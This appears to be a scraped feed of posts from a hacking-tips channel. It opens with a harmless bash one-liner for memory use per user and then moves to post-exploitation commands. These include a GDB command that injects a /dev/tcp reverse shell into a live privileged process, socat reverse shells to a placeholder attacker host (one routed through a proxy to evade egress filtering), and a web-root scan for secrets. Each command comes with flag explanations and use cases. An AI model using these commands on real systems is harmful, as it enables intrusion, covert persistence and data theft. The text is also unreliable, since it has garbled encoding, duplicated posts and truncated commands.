π Top Memory Consumers on Your Linux System
Ever wondered which users are hogging the most RAM on your Linux machine? This one-liner breaks it down for you:
What it does:
- Lists all users and their total memory usage in GB.
- Sorts them from highest to lowest.
- Shows only the top 10 memory consumers.
Why itβs useful:
β Quickly identify resource-heavy users.
β Helpful for server admins and troubleshooting.
β No extra tools neededβjust pure Bash!
π’ Follow for more Linux tips & tricks:
π¦ Twitter
π Telegram
π₯ YouTube
#Linux #SysAdmin #Bash #CommandLine #TheExploitLab
Ever wondered which users are hogging the most RAM on your Linux machine? This one-liner breaks it down for you:
ps -eo user:20,rss | awk 'NR>1{m[$1]+=$2}END{for(u in m)printf"%s:%.2fGB\n",u,m[u]/1024/1024}'|sort -rnk2|headWhat it does:
- Lists all users and their total memory usage in GB.
- Sorts them from highest to lowest.
- Shows only the top 10 memory consumers.
Why itβs useful:
β Quickly identify resource-heavy users.
β Helpful for server admins and troubleshooting.
β No extra tools neededβjust pure Bash!
π’ Follow for more Linux tips & tricks:
π¦ Twitter
π Telegram
π₯ YouTube
#Linux #SysAdmin #Bash #CommandLine #TheExploitLab
π§ Inject Reverse Shell into Live Process
ββββββββββββββββββββββββββ
Injects a reverse shell into a running process using GDB, allowing remote code execution and persistence.
π Command:
π‘ Use Case: During post-exploitation, inject a reverse shell into a long-running, privileged process (e.g., a web server or database process) to maintain access or escalate privileges without leaving new files on disk.
π© Flags:
β
β
β
β
β
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:22 | @TheExploitLabX
ββββββββββββββββββββββββββ
Injects a reverse shell into a running process using GDB, allowing remote code execution and persistence.
π Command:
gdb -p <target_PID> -ex 'call (void)system("bash -i >& /dev/tcp/<attacker_IP>/<attacker_port> 0>&1")' -ex 'detach' -ex 'quit'π‘ Use Case: During post-exploitation, inject a reverse shell into a long-running, privileged process (e.g., a web server or database process) to maintain access or escalate privileges without leaving new files on disk.
π© Flags:
β
-p <PID>: Attach GDB to a running process specified by its Process ID.β
-ex '<command>': Execute the specified GDB command non-interactively.β
call (void)system(...): Invoke the `system()` function within the target process's context to execute a shell command.β
detach: Detach GDB from the target process, allowing it to continue execution unaffected.β
quit: Exit the GDB debugger after executing commands.ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:22 | @TheExploitLabX
π§ Socat Interactive Reverse Shell
ββββββββββββββββββββββββββ
Establishes a fully interactive reverse shell over TCP to an attacker's listener.
π Command:
π‘ Use Case: Gaining an interactive TTY shell on a compromised Linux machine from an attacker's listener (e.g., `socat -d -d TCP-LISTEN:<ATTACKER_PORT> PTY,raw,echo=0,stderr`).
π© Flags:
β
β
β
β
β
β
β
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:29 | @TheExploitLabX
ββββββββββββββββββββββββββ
Establishes a fully interactive reverse shell over TCP to an attacker's listener.
π Command:
socat TCP:<ATTACKER_IP>:<ATTACKER_PORT> EXEC:'bash -li',pty,stderr,setsid,sigint,sane
π‘ Use Case: Gaining an interactive TTY shell on a compromised Linux machine from an attacker's listener (e.g., `socat -d -d TCP-LISTEN:<ATTACKER_PORT> PTY,raw,echo=0,stderr`).
π© Flags:
β
TCP:<IP>:<PORT>: Specifies the TCP connection target (attacker's IP and port).β
EXEC:'bash -li': Executes `/bin/bash` in login interactive mode for the shell.β
pty: Allocates a pseudo-terminal for a fully interactive shell experience.β
stderr: Redirects standard error to the network connection.β
setsid: Creates a new session ID, detaching the process from the parent.β
sigint: Forwards Ctrl+C (SIGINT) signals to the spawned shell.β
sane: Resets terminal settings to a standard, functional state.ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:29 | @TheExploitLabX
π§ Web Root Sensitive Data Scan
ββββββββββββββββββββββββββ
Recursively searches a web root for common sensitive data patterns within various file types.
π Command:
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:31 | @TheExploitLabX
ββββββββββββββββββββββββββ
Recursively searches a web root for common sensitive data patterns within various file types.
π Command:
find /var/www/html -type f \( -name "*.php" -o -name "*.js" -o -name "*.txt" -o -name "*.conf
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 17:31 | @TheExploitLabX
π§ Proxy Reverse Shell Magic
ββββββββββββββββββββββββββ
Establishes an interactive reverse shell through an HTTP proxy to bypass network egress filtering.
π Command:
π‘ Use Case:
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 18:49 | @TheExploitLabX
ββββββββββββββββββββββββββ
Establishes an interactive reverse shell through an HTTP proxy to bypass network egress filtering.
π Command:
socat TCP:proxy.example.com:8080 PROXY:attacker_ip:4444,proxytype=http EXEC:'/bin/bash -li
π‘ Use Case:
ββββββββββββββββββββββββββ
#Linux #CommandLine #SysAdmin #Hacking #Kali
ββββββββββββββββββββββββββ
π 03 Mar 2026 β’ 18:49 | @TheExploitLabX